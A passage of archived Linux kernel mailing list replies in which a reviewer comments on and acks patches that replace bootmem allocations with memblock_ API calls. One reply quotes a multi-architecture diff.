Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537954496 15125 195.159.176.226 (26 Sep 2018 09:34:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 09:34:56 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Mike Rapoport <rppt@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 11:34:48 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g56DW-0003kE-Vx
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 11:34:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727524AbeIZPs7 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 11:48:59 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:49778 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1727370AbeIZPs6 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 11:48:58 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id A7E14AD2C;
        Wed, 26 Sep 2018 09:36:50 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180926093127.GO6278@dhcp22.suse.cz>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882021 gmane.linux.kernel.mm:203971 gmane.linux.ports.alpha:5256 gmane.linux.ports.arm.kernel:676349 gmane.linux.ports.hexagon:1866 gmane.linux.ports.ia64:29282 gmane.linux.ports.mips.general:66856 gmane.linux.ports.parisc:29009 gmane.linux.ports.ppc64.devel:163054 gmane.linux.ports.riscv:898 gmane.linux.ports.sh.devel:57546 gmane.linux.kernel.arc:4453 gmane.linux.ports.sparc:28469
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882021>

On Wed 26-09-18 11:31:27, Michal Hocko wrote:
> On Fri 14-09-18 15:10:29, Mike Rapoport wrote:
> > With the align parameter memblock_alloc_node() can be used as drop in
> > replacement for alloc_bootmem_pages_node() and __alloc_bootmem_node(),
> > which is done in the following patches.
> 
> /me confused. Why do we need this patch at all? Maybe it should be
> folded into the later patch you are refereing here?

OK, I can see 1536927045-23536-17-git-send-email-rppt@linux.vnet.ibm.com
now. If you are going to repost for whatever reason please merge those
two. Also I would get rid of the implicit "0 implies SMP_CACHE_BYTES"
behavior. It is subtle and you have to dig deep to find that out. Why
not make it explicit?
-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 16/30] memblock: replace __alloc_bootmem_node with
 appropriate memblock_ API
Date: Wed, 26 Sep 2018 11:37:39 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <20180926093739.GQ6278@dhcp22.suse.cz>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-17-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537954547 18663 195.159.176.226 (26 Sep 2018 09:35:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 09:35:47 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Mike Rapoport <rppt@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 11:35:38 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g56EJ-0004de-Cu
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 11:35:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727595AbeIZPts (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 11:49:48 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:50036 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1726802AbeIZPts (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 11:49:48 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 6C908ADD8;
        Wed, 26 Sep 2018 09:37:40 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1536927045-23536-17-git-send-email-rppt@linux.vnet.ibm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882022 gmane.linux.kernel.mm:203972 gmane.linux.ports.alpha:5257 gmane.linux.ports.arm.kernel:676350 gmane.linux.ports.hexagon:1867 gmane.linux.ports.ia64:29283 gmane.linux.ports.mips.general:66857 gmane.linux.ports.parisc:29010 gmane.linux.ports.ppc64.devel:163055 gmane.linux.ports.riscv:899 gmane.linux.ports.sh.devel:57547 gmane.linux.kernel.arc:4454 gmane.linux.ports.sparc:28470
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882022>

On Fri 14-09-18 15:10:31, Mike Rapoport wrote:
> Use memblock_alloc_try_nid whenever goal (i.e. minimal address is
> specified) and memblock_alloc_node otherwise.
> 
> Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>

Acked-by: Michal Hocko <mhocko@suse.com>
-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 21/30] memblock: replace alloc_bootmem with memblock_alloc
Date: Wed, 26 Sep 2018 11:38:20 +0200
Lines: 339
Approved: news@gmane.org
Message-ID: <20180926093820.GR6278@dhcp22.suse.cz>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-22-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537954587 21994 195.159.176.226 (26 Sep 2018 09:36:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 09:36:27 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Mike Rapoport <rppt@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 11:36:18 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g56Ey-0004de-Sg
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 11:36:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727223AbeIZPua (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 11:50:30 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:50264 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1726401AbeIZPua (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 11:50:30 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id C7FB4AE1D;
        Wed, 26 Sep 2018 09:38:21 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1536927045-23536-22-git-send-email-rppt@linux.vnet.ibm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882023 gmane.linux.kernel.mm:203973 gmane.linux.ports.alpha:5258 gmane.linux.ports.arm.kernel:676351 gmane.linux.ports.hexagon:1868 gmane.linux.ports.ia64:29284 gmane.linux.ports.mips.general:66858 gmane.linux.ports.parisc:29011 gmane.linux.ports.ppc64.devel:163056 gmane.linux.ports.riscv:900 gmane.linux.ports.sh.devel:57548 gmane.linux.kernel.arc:4455 gmane.linux.ports.sparc:28471
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882023>

On Fri 14-09-18 15:10:36, Mike Rapoport wrote:
> The alloc_bootmem(size) is a shortcut for allocation of SMP_CACHE_BYTES
> aligned memory. When the align parameter of memblock_alloc() is 0, the
> alignment is implicitly set to SMP_CACHE_BYTES and thus alloc_bootmem(size)
> and memblock_alloc(size, 0) are equivalent.
> 
> The conversion is done using the following semantic patch:
> 
> @@
> expression size;
> @@
> - alloc_bootmem(size)
> + memblock_alloc(size, 0)

As mentioned in other email, please make it explicit SMP_CACHE_BYTES.

> Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
> ---
>  arch/alpha/kernel/core_marvel.c     | 4 ++--
>  arch/alpha/kernel/pci-noop.c        | 4 ++--
>  arch/alpha/kernel/pci.c             | 4 ++--
>  arch/alpha/kernel/pci_iommu.c       | 4 ++--
>  arch/ia64/kernel/mca.c              | 4 ++--
>  arch/ia64/mm/tlb.c                  | 4 ++--
>  arch/m68k/sun3/sun3dvma.c           | 3 ++-
>  arch/microblaze/mm/init.c           | 2 +-
>  arch/mips/kernel/setup.c            | 2 +-
>  arch/um/drivers/net_kern.c          | 2 +-
>  arch/um/drivers/vector_kern.c       | 2 +-
>  arch/um/kernel/initrd.c             | 2 +-
>  arch/x86/kernel/acpi/boot.c         | 3 ++-
>  arch/x86/kernel/apic/io_apic.c      | 2 +-
>  arch/x86/kernel/e820.c              | 2 +-
>  arch/x86/platform/olpc/olpc_dt.c    | 2 +-
>  arch/xtensa/platforms/iss/network.c | 2 +-
>  drivers/macintosh/smu.c             | 2 +-
>  init/main.c                         | 4 ++--
>  19 files changed, 28 insertions(+), 26 deletions(-)
> 
> diff --git a/arch/alpha/kernel/core_marvel.c b/arch/alpha/kernel/core_marvel.c
> index bdebb8c2..1f00c94 100644
> --- a/arch/alpha/kernel/core_marvel.c
> +++ b/arch/alpha/kernel/core_marvel.c
> @@ -82,7 +82,7 @@ mk_resource_name(int pe, int port, char *str)
>  	char *name;
>  	
>  	sprintf(tmp, "PCI %s PE %d PORT %d", str, pe, port);
> -	name = alloc_bootmem(strlen(tmp) + 1);
> +	name = memblock_alloc(strlen(tmp) + 1, 0);
>  	strcpy(name, tmp);
>  
>  	return name;
> @@ -117,7 +117,7 @@ alloc_io7(unsigned int pe)
>  		return NULL;
>  	}
>  
> -	io7 = alloc_bootmem(sizeof(*io7));
> +	io7 = memblock_alloc(sizeof(*io7), 0);
>  	io7->pe = pe;
>  	raw_spin_lock_init(&io7->irq_lock);
>  
> diff --git a/arch/alpha/kernel/pci-noop.c b/arch/alpha/kernel/pci-noop.c
> index c7c5879..59cbfc2 100644
> --- a/arch/alpha/kernel/pci-noop.c
> +++ b/arch/alpha/kernel/pci-noop.c
> @@ -33,7 +33,7 @@ alloc_pci_controller(void)
>  {
>  	struct pci_controller *hose;
>  
> -	hose = alloc_bootmem(sizeof(*hose));
> +	hose = memblock_alloc(sizeof(*hose), 0);
>  
>  	*hose_tail = hose;
>  	hose_tail = &hose->next;
> @@ -44,7 +44,7 @@ alloc_pci_controller(void)
>  struct resource * __init
>  alloc_resource(void)
>  {
> -	return alloc_bootmem(sizeof(struct resource));
> +	return memblock_alloc(sizeof(struct resource), 0);
>  }
>  
>  SYSCALL_DEFINE3(pciconfig_iobase, long, which, unsigned long, bus,
> diff --git a/arch/alpha/kernel/pci.c b/arch/alpha/kernel/pci.c
> index c668c3b..4cc3eb9 100644
> --- a/arch/alpha/kernel/pci.c
> +++ b/arch/alpha/kernel/pci.c
> @@ -392,7 +392,7 @@ alloc_pci_controller(void)
>  {
>  	struct pci_controller *hose;
>  
> -	hose = alloc_bootmem(sizeof(*hose));
> +	hose = memblock_alloc(sizeof(*hose), 0);
>  
>  	*hose_tail = hose;
>  	hose_tail = &hose->next;
> @@ -403,7 +403,7 @@ alloc_pci_controller(void)
>  struct resource * __init
>  alloc_resource(void)
>  {
> -	return alloc_bootmem(sizeof(struct resource));
> +	return memblock_alloc(sizeof(struct resource), 0);
>  }
>  
>  
> diff --git a/arch/alpha/kernel/pci_iommu.c b/arch/alpha/kernel/pci_iommu.c
> index 0c05493..5d178c7 100644
> --- a/arch/alpha/kernel/pci_iommu.c
> +++ b/arch/alpha/kernel/pci_iommu.c
> @@ -79,7 +79,7 @@ iommu_arena_new_node(int nid, struct pci_controller *hose, dma_addr_t base,
>  		printk("%s: couldn't allocate arena from node %d\n"
>  		       "    falling back to system-wide allocation\n",
>  		       __func__, nid);
> -		arena = alloc_bootmem(sizeof(*arena));
> +		arena = memblock_alloc(sizeof(*arena), 0);
>  	}
>  
>  	arena->ptes = memblock_alloc_node(sizeof(*arena), align, nid);
> @@ -92,7 +92,7 @@ iommu_arena_new_node(int nid, struct pci_controller *hose, dma_addr_t base,
>  
>  #else /* CONFIG_DISCONTIGMEM */
>  
> -	arena = alloc_bootmem(sizeof(*arena));
> +	arena = memblock_alloc(sizeof(*arena), 0);
>  	arena->ptes = memblock_alloc_from(mem_size, align, 0);
>  
>  #endif /* CONFIG_DISCONTIGMEM */
> diff --git a/arch/ia64/kernel/mca.c b/arch/ia64/kernel/mca.c
> index 5586926..7120976 100644
> --- a/arch/ia64/kernel/mca.c
> +++ b/arch/ia64/kernel/mca.c
> @@ -361,9 +361,9 @@ static ia64_state_log_t ia64_state_log[IA64_MAX_LOG_TYPES];
>  
>  #define IA64_LOG_ALLOCATE(it, size) \
>  	{ia64_state_log[it].isl_log[IA64_LOG_CURR_INDEX(it)] = \
> -		(ia64_err_rec_t *)alloc_bootmem(size); \
> +		(ia64_err_rec_t *)memblock_alloc(size, 0); \
>  	ia64_state_log[it].isl_log[IA64_LOG_NEXT_INDEX(it)] = \
> -		(ia64_err_rec_t *)alloc_bootmem(size);}
> +		(ia64_err_rec_t *)memblock_alloc(size, 0);}
>  #define IA64_LOG_LOCK_INIT(it) spin_lock_init(&ia64_state_log[it].isl_lock)
>  #define IA64_LOG_LOCK(it)      spin_lock_irqsave(&ia64_state_log[it].isl_lock, s)
>  #define IA64_LOG_UNLOCK(it)    spin_unlock_irqrestore(&ia64_state_log[it].isl_lock,s)
> diff --git a/arch/ia64/mm/tlb.c b/arch/ia64/mm/tlb.c
> index acf10eb..5554863 100644
> --- a/arch/ia64/mm/tlb.c
> +++ b/arch/ia64/mm/tlb.c
> @@ -59,8 +59,8 @@ struct ia64_tr_entry *ia64_idtrs[NR_CPUS];
>  void __init
>  mmu_context_init (void)
>  {
> -	ia64_ctx.bitmap = alloc_bootmem((ia64_ctx.max_ctx+1)>>3);
> -	ia64_ctx.flushmap = alloc_bootmem((ia64_ctx.max_ctx+1)>>3);
> +	ia64_ctx.bitmap = memblock_alloc((ia64_ctx.max_ctx + 1) >> 3, 0);
> +	ia64_ctx.flushmap = memblock_alloc((ia64_ctx.max_ctx + 1) >> 3, 0);
>  }
>  
>  /*
> diff --git a/arch/m68k/sun3/sun3dvma.c b/arch/m68k/sun3/sun3dvma.c
> index 8546922..72d9458 100644
> --- a/arch/m68k/sun3/sun3dvma.c
> +++ b/arch/m68k/sun3/sun3dvma.c
> @@ -267,7 +267,8 @@ void __init dvma_init(void)
>  
>  	list_add(&(hole->list), &hole_list);
>  
> -	iommu_use = alloc_bootmem(IOMMU_TOTAL_ENTRIES * sizeof(unsigned long));
> +	iommu_use = memblock_alloc(IOMMU_TOTAL_ENTRIES * sizeof(unsigned long),
> +				   0);
>  
>  	dvma_unmap_iommu(DVMA_START, DVMA_SIZE);
>  
> diff --git a/arch/microblaze/mm/init.c b/arch/microblaze/mm/init.c
> index df6de7c..8c7f074 100644
> --- a/arch/microblaze/mm/init.c
> +++ b/arch/microblaze/mm/init.c
> @@ -377,7 +377,7 @@ void * __ref zalloc_maybe_bootmem(size_t size, gfp_t mask)
>  	if (mem_init_done)
>  		p = kzalloc(size, mask);
>  	else {
> -		p = alloc_bootmem(size);
> +		p = memblock_alloc(size, 0);
>  		if (p)
>  			memset(p, 0, size);
>  	}
> diff --git a/arch/mips/kernel/setup.c b/arch/mips/kernel/setup.c
> index a717c90..a6bc2f6 100644
> --- a/arch/mips/kernel/setup.c
> +++ b/arch/mips/kernel/setup.c
> @@ -909,7 +909,7 @@ static void __init resource_init(void)
>  		if (end >= HIGHMEM_START)
>  			end = HIGHMEM_START - 1;
>  
> -		res = alloc_bootmem(sizeof(struct resource));
> +		res = memblock_alloc(sizeof(struct resource), 0);
>  
>  		res->start = start;
>  		res->end = end;
> diff --git a/arch/um/drivers/net_kern.c b/arch/um/drivers/net_kern.c
> index 3ef1b48..ef19a39 100644
> --- a/arch/um/drivers/net_kern.c
> +++ b/arch/um/drivers/net_kern.c
> @@ -650,7 +650,7 @@ static int __init eth_setup(char *str)
>  		return 1;
>  	}
>  
> -	new = alloc_bootmem(sizeof(*new));
> +	new = memblock_alloc(sizeof(*new), 0);
>  
>  	INIT_LIST_HEAD(&new->list);
>  	new->index = n;
> diff --git a/arch/um/drivers/vector_kern.c b/arch/um/drivers/vector_kern.c
> index c84133c..9d77579 100644
> --- a/arch/um/drivers/vector_kern.c
> +++ b/arch/um/drivers/vector_kern.c
> @@ -1575,7 +1575,7 @@ static int __init vector_setup(char *str)
>  				 str, error);
>  		return 1;
>  	}
> -	new = alloc_bootmem(sizeof(*new));
> +	new = memblock_alloc(sizeof(*new), 0);
>  	INIT_LIST_HEAD(&new->list);
>  	new->unit = n;
>  	new->arguments = str;
> diff --git a/arch/um/kernel/initrd.c b/arch/um/kernel/initrd.c
> index 6f6e789..844056c 100644
> --- a/arch/um/kernel/initrd.c
> +++ b/arch/um/kernel/initrd.c
> @@ -36,7 +36,7 @@ int __init read_initrd(void)
>  		return 0;
>  	}
>  
> -	area = alloc_bootmem(size);
> +	area = memblock_alloc(size, 0);
>  
>  	if (load_initrd(initrd, area, size) == -1)
>  		return 0;
> diff --git a/arch/x86/kernel/acpi/boot.c b/arch/x86/kernel/acpi/boot.c
> index 3b20607..fd887c1 100644
> --- a/arch/x86/kernel/acpi/boot.c
> +++ b/arch/x86/kernel/acpi/boot.c
> @@ -932,7 +932,8 @@ static int __init acpi_parse_hpet(struct acpi_table_header *table)
>  	 * the resource tree during the lateinit timeframe.
>  	 */
>  #define HPET_RESOURCE_NAME_SIZE 9
> -	hpet_res = alloc_bootmem(sizeof(*hpet_res) + HPET_RESOURCE_NAME_SIZE);
> +	hpet_res = memblock_alloc(sizeof(*hpet_res) + HPET_RESOURCE_NAME_SIZE,
> +				  0);
>  
>  	hpet_res->name = (void *)&hpet_res[1];
>  	hpet_res->flags = IORESOURCE_MEM;
> diff --git a/arch/x86/kernel/apic/io_apic.c b/arch/x86/kernel/apic/io_apic.c
> index e25118f..8c74509 100644
> --- a/arch/x86/kernel/apic/io_apic.c
> +++ b/arch/x86/kernel/apic/io_apic.c
> @@ -2578,7 +2578,7 @@ static struct resource * __init ioapic_setup_resources(void)
>  	n = IOAPIC_RESOURCE_NAME_SIZE + sizeof(struct resource);
>  	n *= nr_ioapics;
>  
> -	mem = alloc_bootmem(n);
> +	mem = memblock_alloc(n, 0);
>  	res = (void *)mem;
>  
>  	mem += sizeof(struct resource) * nr_ioapics;
> diff --git a/arch/x86/kernel/e820.c b/arch/x86/kernel/e820.c
> index c88c23c..7ea8748 100644
> --- a/arch/x86/kernel/e820.c
> +++ b/arch/x86/kernel/e820.c
> @@ -1094,7 +1094,7 @@ void __init e820__reserve_resources(void)
>  	struct resource *res;
>  	u64 end;
>  
> -	res = alloc_bootmem(sizeof(*res) * e820_table->nr_entries);
> +	res = memblock_alloc(sizeof(*res) * e820_table->nr_entries, 0);
>  	e820_res = res;
>  
>  	for (i = 0; i < e820_table->nr_entries; i++) {
> diff --git a/arch/x86/platform/olpc/olpc_dt.c b/arch/x86/platform/olpc/olpc_dt.c
> index d6ee929..140cd76 100644
> --- a/arch/x86/platform/olpc/olpc_dt.c
> +++ b/arch/x86/platform/olpc/olpc_dt.c
> @@ -141,7 +141,7 @@ void * __init prom_early_alloc(unsigned long size)
>  		 * fast enough on the platforms we care about while minimizing
>  		 * wasted bootmem) and hand off chunks of it to callers.
>  		 */
> -		res = alloc_bootmem(chunk_size);
> +		res = memblock_alloc(chunk_size, 0);
>  		BUG_ON(!res);
>  		prom_early_allocated += chunk_size;
>  		memset(res, 0, chunk_size);
> diff --git a/arch/xtensa/platforms/iss/network.c b/arch/xtensa/platforms/iss/network.c
> index d027ddd..206b9d4 100644
> --- a/arch/xtensa/platforms/iss/network.c
> +++ b/arch/xtensa/platforms/iss/network.c
> @@ -646,7 +646,7 @@ static int __init iss_net_setup(char *str)
>  		return 1;
>  	}
>  
> -	new = alloc_bootmem(sizeof(*new));
> +	new = memblock_alloc(sizeof(*new), 0);
>  	if (new == NULL) {
>  		pr_err("Alloc_bootmem failed\n");
>  		return 1;
> diff --git a/drivers/macintosh/smu.c b/drivers/macintosh/smu.c
> index e8ae2e5..332fcca 100644
> --- a/drivers/macintosh/smu.c
> +++ b/drivers/macintosh/smu.c
> @@ -493,7 +493,7 @@ int __init smu_init (void)
>  		goto fail_np;
>  	}
>  
> -	smu = alloc_bootmem(sizeof(struct smu_device));
> +	smu = memblock_alloc(sizeof(struct smu_device), 0);
>  
>  	spin_lock_init(&smu->lock);
>  	INIT_LIST_HEAD(&smu->cmd_list);
> diff --git a/init/main.c b/init/main.c
> index d0b92bd..99a9e99 100644
> --- a/init/main.c
> +++ b/init/main.c
> @@ -768,8 +768,8 @@ static int __init initcall_blacklist(char *str)
>  		str_entry = strsep(&str, ",");
>  		if (str_entry) {
>  			pr_debug("blacklisting initcall %s\n", str_entry);
> -			entry = alloc_bootmem(sizeof(*entry));
> -			entry->buf = alloc_bootmem(strlen(str_entry) + 1);
> +			entry = memblock_alloc(sizeof(*entry), 0);
> +			entry->buf = memblock_alloc(strlen(str_entry) + 1, 0);
>  			strcpy(entry->buf, str_entry);
>  			list_add(&entry->next, &blacklisted_initcalls);
>  		}
> -- 
> 2.7.4
> 

-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 29/30] mm: remove include/linux/bootmem.h
Date: Wed, 26 Sep 2018 11:38:46 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20180926093846.GS6278@dhcp22.suse.cz>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-30-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537954615 23955 195.159.176.226 (26 Sep 2018 09:36:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 09:36:55 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Mike Rapoport <rppt@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 11:36:46 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
